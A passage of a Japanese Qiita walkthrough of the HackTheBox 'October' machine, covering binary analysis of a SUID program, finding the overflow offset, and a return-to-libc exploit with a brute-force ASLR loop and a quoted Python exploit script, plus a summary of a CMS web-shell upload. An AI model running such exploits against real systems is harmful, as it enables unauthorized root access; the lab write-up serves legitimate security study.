AAAAAAAACAAAAC4AQAAAAAAAAAAAAASAAAAyAEAACSgBAgAAAAAEQIYANUBAABchQQIBAAAABEADwDkAQAAAAAAAAAAAAASAAAAAQIAANCEBAhhAAAAEgANABECAAAsoAQIAAAAABAAGQAWAgAAgIMECAAAAAASAA0AHQIAAFiFBAgEAAAAEQAPACQCAAAooAQIAAAAABAAGQAwAgAAfYQECE8AAAASAA0ANQIAAAAAAAAAAAAAIAAAAEkCAAAooAQIAAAAABECGABVAgAAAAAAAAAAAAAgAAAAbwIAAPSCBAgAAAAAEgALAABjcnRzdHVmZi5jAF9fSkNSX0xJU1RfXwBkZXJlZ2lzdGVyX3RtX2Nsb25lcwByZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNfYXV4AGNvbXBsZXRlZC42NTkxAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBvdnJmbHcuYwBfX0ZSQU1FX0VORF9fAF9fSkNSX0VORF9fAF9faW5pdF9hcnJheV9lbmQAX0RZTkFNSUMAX19pbml0X2FycmF5X3N0YXJ0AF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfX2xpYmNfY3N1X2ZpbmkAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAF9feDg2LmdldF9wY190aHVuay5ieABkYXRhX3N0YXJ0AHByaW50ZkBAR0xJQkNfMi4wAF9lZGF0YQBfZmluaQBzdHJjcHlAQEdMSUJDXzIuMABfX2RhdGFfc3RhcnQAX19nbW9uX3N0YXJ0X18AZXhpdEBAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAF9fbGliY19jc3VfaW5pdABfZW5kAF9zdGFydABfZnBfaHcAX19ic3Nfc3RhcnQAbWFpbgBfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fVE1DX0VORF9fAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX2luaXQA" | base64 -d > ovrflw

表層解析

ハッシュ値を算出して破損していないことを確認します。

┌──(kali㉿kali)-[~/october]
└─$ rahash2 -amd5 ovrflw 
ovrflw: 0x00000000-0x00001cd0 md5: 0e531949d891fd56a2ead07610cc5ded

Binary info

引数に解析対象のovrflwを指定して、radare2を起動します。iIコマンド(Binary info)でバイナリの情報を調べます。

┌──(kali㉿kali)-[~/october]
└─$ r2 ovrflw   
[0x08048380]> iI
arch     x86
baddr    0x8048000
binsz    7377
bintype  elf
bits     32
canary   false
class    ELF32
compiler GCC: (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true

bintypeclassosの各フィールドから、ovrflwプログラムがLinuxで動作する32ビットの実行可能なELFファイルであることを示しています。
archbitsendianmachineの各フィールドから、そのファイルがx86コードでビルドされたことを示しています。
さらに、langフィールドから、ファイルがC言語からコンパイルされたことを示しています。

インポート

インポートされた関数の情報を表示させます。

[0x08048380]> ii
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x08048330 GLOBAL FUNC       printf
2   0x08048340 GLOBAL FUNC       strcpy
3   0x08048350 WEAK   NOTYPE     __gmon_start__
4   0x08048360 GLOBAL FUNC       exit
5   0x08048370 GLOBAL FUNC       __libc_start_main

注目すべきは、strcpy関数です。strcpy関数はコピー元の文字列をそのまま書込むので、コピー先の領域を超えて上書きする危険性(バッファオーバーフローの原因になり得る可能性)があります。

データセクションにおけるASCII情報

[0x08048380]> iz
[Strings]
nth paddr      vaddr      len size section type  string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000560 0x08048560 26  27   .rodata ascii Syntax: %s <input string>\n

動的解析

ファジング(Fuzzing)

ovrflwにファズ(fuzz)データ「A」を送信してみます。10 bytesステップで確認すると、120 bytesまで送信するとSegmentation fault (core dumped)が発生しました。

┌──(kali㉿kali)-[~/october]
└─$ chmod +x ovrflw            

┌──(kali㉿kali)-[~/october]
└─$ ls -al ovrflw
-rwxr-xr-x 1 kali kali 7377 Apr  4 22:36 ovrflw
┌──(kali㉿kali)-[~/october]
└─$ ./ovrflw AAAAAAAAAA                                                                   139 ⨯

┌──(kali㉿kali)-[~/october]
└─$ ./ovrflw $(python -c 'print "A"*120')
zsh: segmentation fault  ./ovrflw $(python -c 'print "A"*120')

静的解析

gdb-pedaのインストール

デバッガとして「gdb-peda」を使用します。

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

セキュリティ機構の確認

checksecコマンドを使い、ovrflwプログラムに実装されているセキュリティ機能について確認します。

checksec.png

NXビット(No eXecute)が有効化されています。
すなわち、バッファ領域は実行できない領域としてフラッグが立てられています。この場合、CPUはNXビットが有効になっているメモリ領域のプログラムを実行せずにエラーを返します。
今後の攻撃戦略を検討する上で重要なポイントの一つです。

GDBによる実行

ovrflwプログラムをGDBで開き、実行します。

┌──(kali㉿kali)-[~/october]
└─$ gdb ./ovrflw
gdb-peda$ break main
Breakpoint 1 at 0x8048480
gdb-peda$ run
Starting program: /home/kali/october/ovrflw

run.png

ブレークポイント(main関数)まで達すると停止します。
breakpoint.png

EIPの制御

EIPを上書きする正確な文字数の特定を試みます。必要となるテスト用のパターンを作成します。

gdb-peda$ pattern_create 120
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
gdb-peda$ pset arg 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
gdb-peda$ pshow arg
arg[1]: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA

パターン作成後に実行します。

pset_run.png

ブレークポイントに到達したら、continueまたはcを押して続行させます。

continue.png

EIP0x41384141にて上書きされていることが解ります。
patter_offsetを使用して、正確なバイトカウントを取得します。112 bytesであることが判明しました。

gdb-peda$ pattern_offset 0x41384141 120
1094205761 found at offset: 112

Offsetの検証

次のパラメータ戦略にてovrflwプログラムを実行します。

  • 112 bytesA(16進コードは0x41)でバッファを上書き
  • EIPの値を42424242Bの16進コードは0x42)で上書き
┌──(kali㉿kali)-[~/october]
└─$ gdb ./ovrflw
gdb-peda$ run `python -c 'print "A"*112 + "BBBB"'`

EIP42424242にて上書きすることに成功したことが確認できます。

Stopped reason: SIGSEGV
0x42424242 in ?? ()

offset.png

Return-to-libc(ret2libc)

すでにchecksecコマンドの結果から、NXが有効化されていることが判明しています。
このため、シェルコードを流し込むことはできません。
従って、libc内に存在している関数を呼び出す「Return-to-libc」(ret2libc)による攻撃を実現すべく検討を行います。

「Return-to-libc」では、従来のスタックバッファオーバーフローのように、スタック上の命令に制御を戻すのではなく、特定のダイナミックライブラリ関数に対応するアドレスにプログラムを戻すようにします。
このダイナミックライブラリ関数はスタック上には存在しないため、スタック実行の制限(NX)を回避することができます。どのダイナミックライブラリ関数に戻るかは慎重に選択しますが、理想的には次の2つの条件が揃っていることが望ましいです。

  1. ほとんどのプログラムに搭載されている、一般的なダイナミックライブラリであること。
  2. ライブラリ内の関数は、シェルを起動したり、必要なことができるように、できるだけ柔軟性があること。

ret2libc攻撃実現に必要な情報

ここからは、october.htb側に戻り作業を進めます。

ovrflwプログラムにリンクされているライブラリを確認するために、lddコマンドを使用します。

$ ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ce000)

libc.so.6は都合のよいライブラリです。C言語の関数をほぼすべて含んでいます。次にすべきことは、使用したいライブラリ関数のアドレスに実行を誘導するだけです。
今回は、system()に引数として/bin/shを与えて実行する(すなわち、シェルを生成する)ことを計画します。

まず、libc.so.6systemexitのアドレスをreadelfコマンドにて確認します。

$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e " system@" -e " exit@"
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

次に、/bin/shのアドレスをstringsコマンドにて確認します。
オプションの意図は次のとおりです。

  • -a:ファイル全体をスキャンする。
  • -t x:「x(16進数)」を指定して、文字列の前に位置を表示する。
$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/"
 162bac /bin/sh
 164b10 /bin/csh

それぞれのアドレスを書き留めます。

計算 アドレス リトルエディアン表記
system 0xb75f8000+0x40310 0xB7638310 \x10\x83\x63\xb7
/bin/sh 0xb75f8000+0x162bac 0xB775ABAC \xac\xab\x75\xb7
exit 0xb75f8000+0x33260 0xB762B260 \x60\xb2\x62\xb7

エクスプロイトコードの構築

$ /usr/local/bin/ovrflw $(python -c 'print "A"*112 + "\x60\xb2\x62\xb7" + "\x10\x83\x63\xb7" + "\xac\xab\x75\xb7"');                                                                           
Segmentation fault (core dumped)

ASLR(Address Space Layout Randomization)」が有効になっているため、シェルを取得するまでループで実行します。

$ while true; do /usr/local/bin/ovrflw $(python -c 'print "A"*112 + "\x60\xb2\x62\xb7" + "\x10\x83\x63\xb7" + "\xac\xab\x75\xb7"'); done

Artis3nal Mistakesによる、Exploitコードが可読性が高いので紹介しておきます。

exploit.py
#!/usr/bin/env python

from subprocess import call
import struct

buffersled = "A"*112

libc = 0xb75f8000
system = struct.pack('<I', libc + 0x00040310)
exit = struct.pack('<I', libc + 0x00033260)
binsh = struct.pack('<I', libc + 0x00162bac)

payload = buffersled + system + exit + binsh


i = 0
while (i < 512):
   print("Try %s" % i)
   i += 1
   ret = call(["/usr/local/bin/ovrflw", payload])

exploit.png

# cd /root
# ls -l
total 4
-r-------- 1 root root 33 Apr 21  2017 root.txt
# cat root.txt
6bcb{BLOCKED}0318

まとめ

一般ユーザのアクセス権取得

  • http-titleヘッダからOctober CMS - Vanillaが稼働していることを特定しました。
  • OWASP DirBusterによってOctober CMSのログイン画面を特定しました。
  • 管理コンソールのアカウントが初期設定のまま(admin/admin)運用されていることを特定しました。
  • October CMSの脆弱性(EDB-ID 41936)をファイルアップロードフィルターを迂回し、PHP WebShellを設置しました。

特権昇格

  • SUID (4000)が付与された/usr/local/bin/ovrflwプログラムを特定しました。
  • Return-to-libc攻撃によりNX、ASLRを迂回しシェルを獲得しました。

参考情報

Walkthrough

Return-to-libc

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0